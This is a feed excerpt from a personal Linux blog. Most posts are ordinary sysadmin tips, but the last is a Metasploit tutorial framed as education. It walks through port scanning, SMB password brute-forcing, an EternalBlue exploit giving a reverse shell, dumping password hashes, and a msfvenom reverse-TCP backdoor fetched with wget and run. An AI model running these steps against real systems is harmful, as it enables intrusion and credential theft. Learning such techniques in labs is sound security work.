&lt;h2&gt;Software development&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://spectrum.ieee.org/lean-software-development"&gt;Why Bloat Is Still Software’s Biggest
Vulnerability&lt;/a&gt;&lt;/p&gt;</content><category term="various"/><category term="various"/></entry><entry><title>System Agnostic Way of Installing Hazelcast</title><link href="https://skybert.net/unix/system-agnostic-way-of-installing-hazelcast" rel="alternate"/><published>2024-08-16T00:00:00+02:00</published><updated>2024-08-16T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-08-16:/unix/system-agnostic-way-of-installing-hazelcast</id><summary type="html">&lt;p&gt;Use Maven to download the Hazelcast binary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mvn dependency:get -Dartifact=&amp;#39;com.hazelcast:hazelcast:5.5.0&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Start it with &lt;code&gt;java&lt;/code&gt; without any systemd or &lt;code&gt;/usr/bin&lt;/code&gt; wrapper:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ java -jar ~/.m2/repository/com/hazelcast/hazelcast/5.5.0/hazelcast-5.5.0.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you want to enable the REST API …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Use Maven to download the Hazelcast binary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mvn dependency:get -Dartifact=&amp;#39;com.hazelcast:hazelcast:5.5.0&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Start it with &lt;code&gt;java&lt;/code&gt; without any systemd or &lt;code&gt;/usr/bin&lt;/code&gt; wrapper:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ java -jar ~/.m2/repository/com/hazelcast/hazelcast/5.5.0/hazelcast-5.5.0.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you want to enable the REST API, you can set these environment
variables in front of the &lt;code&gt;java&lt;/code&gt; command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ HZ_NETWORK_RESTAPI_ENABLED=true \
  HZ_NETWORK_RESTAPI_ENDPOINTGROUPS_DATA_ENABLED=true \
  java -jar ~/.m2/repository/com/hazelcast/hazelcast/5.5.0/hazelcast-5.5.0.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's it. Hazelcast is now running on your machine. You can test it
out by creating an entry:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ curl \
  --include \
  --header &amp;quot;Content-Type: text/plain&amp;quot; \
  --data &amp;quot;bar&amp;quot; \
  http://localhost:5701/hazelcast/rest/maps/mapName/foo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And then retrieve it again:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ curl --include http://localhost:5701/hazelcast/rest/maps/mapName/foo
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 3

bar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="unix"/><category term="unix"/><category term="java"/><category term="caching"/></entry><entry><title>Fast Emacs for Firefox</title><link href="https://skybert.net/emacs/fast-emacs-for-firefox" rel="alternate"/><published>2024-08-14T00:00:00+02:00</published><updated>2024-08-14T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-08-14:/emacs/fast-emacs-for-firefox</id><summary type="html">&lt;p&gt;Firefox looks up apps by mime type by searching the directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/usr/share/applications/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you've got Emacs installed, chances are that you have an
&lt;code&gt;emacs.desktop&lt;/code&gt; file in there and that file tells the system to use
Emacs for opening a boat load of formats:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MimeType&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/usr/share …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Firefox looks up apps by mime type by searching the directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/usr/share/applications/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you've got Emacs installed, chances are that you have an
&lt;code&gt;emacs.desktop&lt;/code&gt; file in there and that file tells the system to use
Emacs for opening a boat load of formats:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MimeType&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/usr/share/applications/emacs.desktop
&lt;span class="nv"&gt;MimeType&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;text/english&lt;span class="p"&gt;;&lt;/span&gt;text/plain&lt;span class="p"&gt;;&lt;/span&gt;text/x-makefile&lt;span class="p"&gt;;&lt;/span&gt;text/x-c++hdr&lt;span class="p"&gt;;&lt;/span&gt;text/x-c++src&lt;span class="p"&gt;;&lt;/span&gt;text/x-chdr&lt;span class="p"&gt;;&lt;/span&gt;text/x-csrc&lt;span class="p"&gt;;&lt;/span&gt;text/x-java&lt;span class="p"&gt;;&lt;/span&gt;text/x-moc&lt;span class="p"&gt;;&lt;/span&gt;text/x-pascal&lt;span class="p"&gt;;&lt;/span&gt;text/x-tcl&lt;span class="p"&gt;;&lt;/span&gt;text/x-tex&lt;span class="p"&gt;;&lt;/span&gt;application/x-shellscript&lt;span class="p"&gt;;&lt;/span&gt;text/x-c&lt;span class="p"&gt;;&lt;/span&gt;text/x-c++&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To make Firefox open Emacs with a &lt;em&gt;minimal&lt;/em&gt; configuration, I changed
the &lt;code&gt;Exec=&lt;/code&gt; line like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;Exec&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;emacs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;Q&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;torstein&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;skybert&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;my&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;little&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;friends&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;emacs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;.&lt;span class="nv"&gt;emacs&lt;/span&gt;.&lt;span class="nv"&gt;minimal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;F&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, whatever desktop app wants to open any of the above file formats,
it opens it in a new Emacs process (I don't want to open it in my main
Emacs via &lt;code&gt;emacsclient&lt;/code&gt;) with a minmal configuration file. Fast, yet
has some batteries included.&lt;/p&gt;</content><category term="emacs"/><category term="emacs"/></entry><entry><title>Microsoft Defender has Constant High CPU Load</title><link href="https://skybert.net/linux/microsoft-defender-has-constant-high-cpu-load" rel="alternate"/><published>2024-08-06T00:00:00+02:00</published><updated>2024-08-06T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-08-06:/linux/microsoft-defender-has-constant-high-cpu-load</id><summary type="html">&lt;p&gt;The fan's been spinning for hours. The Microsoft Defender is a gift that keeps on giving:&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="ksnip_20240806-084305.png"
  alt="Microsoft Defender constantly high CPU"
/&gt;&lt;/p&gt;
&lt;p&gt;The interweb suggested asking &lt;code&gt;mdatp&lt;/code&gt; what's up, but that didn't really help either:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# mdatp diagnostic real-time-protection-statistics --output json |
    python high_cpu_parser.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A bit of&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# strace -p &amp;lt;pid&amp;gt; -f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;gave me a hunch, though:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;FUTEX_WAIT_PRIVATE …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;The fan's been spinning for hours. The Microsoft Defender is a gift that keeps on giving:&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="ksnip_20240806-084305.png"
  alt="Microsoft Defender constantly high CPU"
/&gt;&lt;/p&gt;
&lt;p&gt;The interweb suggested asking &lt;code&gt;mdatp&lt;/code&gt; what's up, but that didn't really help either:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# mdatp diagnostic real-time-protection-statistics --output json |
    python high_cpu_parser.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A bit of&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# strace -p &amp;lt;pid&amp;gt; -f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;gave me a hunch, though:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;FUTEX_WAIT_PRIVATE, 0, {tv_sec=0, tv_nsec=500000000}) = -1 ETIMEDOUT (Connection timed out)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is a known pattern for multiple directory scans running. This
made me curious if I had multiple &lt;code&gt;wdavdaemon&lt;/code&gt; processes running. And
lo and behold, I had.&lt;/p&gt;
&lt;p&gt;It turns out,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# paru -Syu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;had upgraded Microsoft Defender, but a restart:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# systemctl daemon-reload&lt;/span&gt;
&lt;span class="c1"&gt;# systemctl restart mdatp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;didn't shut down the old process cleanly.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;systemctl stop mdatp&lt;/code&gt; and a good old &lt;code&gt;kill -9 &amp;lt;pid&amp;gt;&lt;/code&gt; saved the
day:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl stop mdatp
# kill -9 $(pidof wdavdaemon)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, there should be no &lt;code&gt;wdavdaemon&lt;/code&gt; running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pidof wdavdaemon
#
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And we can start Microsoft Defender again:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl start mdatp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, &lt;code&gt;mdatp&lt;/code&gt; runs again and my CPU fan is quiet. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ top -p $(pidof wdavdaemon | tr &amp;#39; &amp;#39; &amp;#39;,&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Lists only &lt;code&gt;wdavdaemon&lt;/code&gt; processes each consuming less than a
percent. &lt;/p&gt;
&lt;p&gt;&lt;img
   class="centered"
   src="ksnip_20240806-084259.png"
   alt="alt img text"
/&gt;&lt;/p&gt;
&lt;p&gt;Good grief.&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="microsoft"/></entry><entry><title>Configure UFW to allow KVM guests</title><link href="https://skybert.net/linux/configure-ufw-to-allow-kvm-guests" rel="alternate"/><published>2024-07-16T00:00:00+02:00</published><updated>2024-07-16T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-07-16:/linux/configure-ufw-to-allow-kvm-guests</id><summary type="html">&lt;p&gt;To allow KVM guests network access, the whole internet says you just
have to allow incoming and outcoming traffic on the &lt;code&gt;virbr0&lt;/code&gt;
interface:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ufw allow in on virbr0
# ufw allow out on virbr0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, it still didn't work. &lt;code&gt;journactl -f&lt;/code&gt; showed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# journactl -f
..
Jul 15 11:10:16 mithrandir kernel …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;To allow KVM guests network access, the whole internet says you just
have to allow incoming and outcoming traffic on the &lt;code&gt;virbr0&lt;/code&gt;
interface:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ufw allow in on virbr0
# ufw allow out on virbr0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, it still didn't work. &lt;code&gt;journactl -f&lt;/code&gt; showed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# journactl -f
..
Jul 15 11:10:16 mithrandir kernel: [UFW BLOCK]
  IN=virbr0
  OUT=wlan0
  MAC=51:50:00:50:64:ce:49:51:00:b1:cd:e9:08:07
  SRC=192.168.122.185
  DST=195.88.54.16
  LEN=60
  TOS=0x00
  PREC=0x00
  TTL=63
  ID=13981
  DF
  PROTO=TCP
  SPT=45838
  DPT=80
  WINDOW=64240
  RES=0x00
  SYN
  URGP=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This was because there was no firewall rule to &lt;em&gt;forward&lt;/em&gt; traffic from
the &lt;code&gt;virbr0&lt;/code&gt; interface to the &lt;code&gt;wlan0&lt;/code&gt; interface to get out on the
internet:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ufw route allow in on virbr0 out on wlan0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With that in place, my KVM guests could access the internet as normal!
💪&lt;/p&gt;</content><category term="linux"/><category term="arch"/><category term="linux"/><category term="security"/></entry><entry><title>Metasploit</title><link href="https://skybert.net/security/metasploit" rel="alternate"/><published>2024-07-10T00:00:00+02:00</published><updated>2024-07-10T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-07-10:/security/metasploit</id><summary type="html">&lt;h2&gt;Disclaimer&lt;/h2&gt;
&lt;p&gt;Do not hack any system you're not allowed to. I provide this
information in good faith, to educate the reader so that we can all
better guard against against from bad actors.&lt;/p&gt;
&lt;h2&gt;Starting the Metasploit shell&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ msfconsole
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Perform a port scan&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6&amp;gt; use auxiliary/scanner/portscan/tcp
msf6 auxiliary …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h2&gt;Disclaimer&lt;/h2&gt;
&lt;p&gt;Do not hack any system you're not allowed to. I provide this
information in good faith, to educate the reader so that we can all
better guard against against from bad actors.&lt;/p&gt;
&lt;h2&gt;Starting the Metasploit shell&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ msfconsole
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Perform a port scan&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6&amp;gt; use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) &amp;gt; set rhosts 10.10.24.171
msf6 auxiliary(scanner/portscan/tcp) &amp;gt; run

[+] 10.10.24.171:         - 10.10.24.171:22 - TCP OPEN
[+] 10.10.24.171:         - 10.10.24.171:21 - TCP OPEN
[+] 10.10.24.171:         - 10.10.24.171:139 - TCP OPEN
[+] 10.10.24.171:         - 10.10.24.171:445 - TCP OPEN
[+] 10.10.24.171:         - 10.10.24.171:8000 - TCP OPEN
[*] 10.10.24.171:         - Scanned 1 of 1 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This shows why you should have a firewall.&lt;/p&gt;
&lt;h2&gt;Cracking a Windows user's password&lt;/h2&gt;
&lt;p&gt;This assumes the user &lt;code&gt;lisa&lt;/code&gt;'s password is in &lt;code&gt;/tmp/huge-list-of-passwords.txt&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6&amp;gt; use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) &amp;gt; set rhosts 192.168.1.4
msf6 auxiliary(scanner/smb/smb_login) &amp;gt; set smbuser lisa
msf6 auxiliary(scanner/smb/smb_login) &amp;gt; set pass_file /tmp/huge-list-of-passwords.txt
msf6 auxiliary(scanner/smb/smb_login) &amp;gt; run
..
[+] 10.10.24.171:445      - 10.10.24.171:445 - Success: &amp;#39;.\lisa:love123&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This shows how important it is that users choose non-trivial
passwords.&lt;/p&gt;
&lt;h2&gt;Figure out what's running on a given port&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6 &amp;gt; use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) &amp;gt; set rport 8000
msf6 auxiliary(scanner/http/http_version) &amp;gt; run
msf6 auxiliary(scanner/http/http_version) &amp;gt; run
[+] 10.10.24.171:8000 webfs/1.21 ( 403-Forbidden )
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This shows why you should have minimal server version strings.&lt;/p&gt;
&lt;h2&gt;Crack an unpatch Windows 7 machine&lt;/h2&gt;
&lt;p&gt;Check if the machine is vulnerable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6 &amp;gt; use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) &amp;gt; setg rhosts 10.10.162.197
rhosts =&amp;gt; 10.10.162.197
msf6 auxiliary(scanner/smb/smb_ms17_010) &amp;gt; run

[+] 10.10.162.197:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.162.197:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then load the exploit and select a payload&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6&amp;gt; use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) &amp;gt; show payloads
..
msf6 exploit(windows/smb/ms17_010_eternalblue) &amp;gt; set payload 2
payload =&amp;gt; generic/shell_reverse_tcp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, run the exploit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6 exploit(windows/smb/ms17_010_eternalblue) &amp;gt; exploit -z

[*] Started reverse TCP handler on 10.10.70.92:4444 
[*] 10.10.162.197:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.162.197:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.162.197:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.162.197:445 - The target is vulnerable.
[*] 10.10.162.197:445 - Connecting to target for exploitation.
[+] 10.10.162.197:445 - Connection established for exploitation.
[+] 10.10.162.197:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.162.197:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.162.197:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.162.197:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.162.197:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.162.197:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.162.197:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.162.197:445 - Sending all but last fragment of exploit packet
[*] 10.10.162.197:445 - Starting non-paged pool grooming
[+] 10.10.162.197:445 - Sending SMBv2 buffers
[+] 10.10.162.197:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.162.197:445 - Sending final SMBv2 buffers.
[*] 10.10.162.197:445 - Sending last fragment of exploit packet!
[*] 10.10.162.197:445 - Receiving response from exploit packet
[+] 10.10.162.197:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.162.197:445 - Sending egg to corrupted connection.
[*] 10.10.162.197:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.70.92:4444 -&amp;gt; 10.10.162.197:49165) at 2024-07-10 09:17:58 +0100
[+] 10.10.162.197:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.162.197:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.162.197:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 1 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) &amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, attach to the backdoor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6 exploit(windows/smb/ms17_010_eternalblue) &amp;gt; sessions

Active sessions
===============

  Id  Name  Type               Information                          Connection
  --  ----  ----               -----------                          ----------
  1         shell x64/windows  Shell Banner: Microsoft Windows [Ve  10.10.70.92:4444 -&amp;gt; 10.10.162.197:4
                               rsion 6.1.7601] -----                9165 (10.10.162.197)

msf6 exploit(windows/smb/ms17_010_eternalblue) &amp;gt; sessions -i 1
[*] Starting interaction with 1...


Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----


C:\Windows\system32&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Get the pasword hashes by upgrading the shell session to a meterpreter session:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6&amp;gt; sessions -u 1
msf6&amp;gt; sessions -l

Active sessions
===============

  Id  Name  Type                     Information                       Connection
  --  ----  ----                     -----------                       ----------
  1         shell x64/windows        Shell Banner: Microsoft Windows   10.10.70.92:4444 -&amp;gt; 10.10.162.19
                                     [Version 6.1.7601] -----          7:49165 (10.10.162.197)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC      10.10.70.92:4433 -&amp;gt; 10.10.162.19
                                                                       7:49188 (10.10.162.197)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, use that new session to gather the hashes &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6&amp;gt; use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) &amp;gt; set session 2 
session =&amp;gt; 2
msf6 post(windows/gather/hashdump) &amp;gt; run

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 55bd17830e678f18a3110daf2c17d4c7...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:fsadf:afdafds:::
Guest:501:asdfasfd:sdfafds:::
john:1001:asdfads:asdfadfs:::

[*] Post module execution completed
msf6 post(windows/gather/hashdump) &amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Get access to a Linux by installing a backdoor&lt;/h2&gt;
&lt;p&gt;First, create the backdoor software, aka a &lt;em&gt;payload&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.198 LPORT=5555 -f elf &amp;gt; backdoor.elf
# python -m http.server
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Where &lt;code&gt;192.168.1.198&lt;/code&gt; is the machine and &lt;code&gt;5555&lt;/code&gt; the port, where you
want the backdoor to call back to.&lt;/p&gt;
&lt;p&gt;Now, get the &lt;code&gt;backdoor.elf&lt;/code&gt; installed and run on the other Linux machine:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;wget&lt;span class="w"&gt; &lt;/span&gt;http://192.168.1.198:8000/backdoor.elf
$&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;backdoor.elf
$&lt;span class="w"&gt; &lt;/span&gt;./backdoor.elf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, on your machine, load an exploit that allows to spawn a shell via
the backdoor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ msfconsole
msf6 &amp;gt; use exploit/multi/handler
msf6 exploit(multi/handler) &amp;gt; set lhost 10.10.130.198
msf6 exploit(multi/handler) &amp;gt; use lport 5555
msf6 exploit(multi/handler) &amp;gt; set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) &amp;gt; run
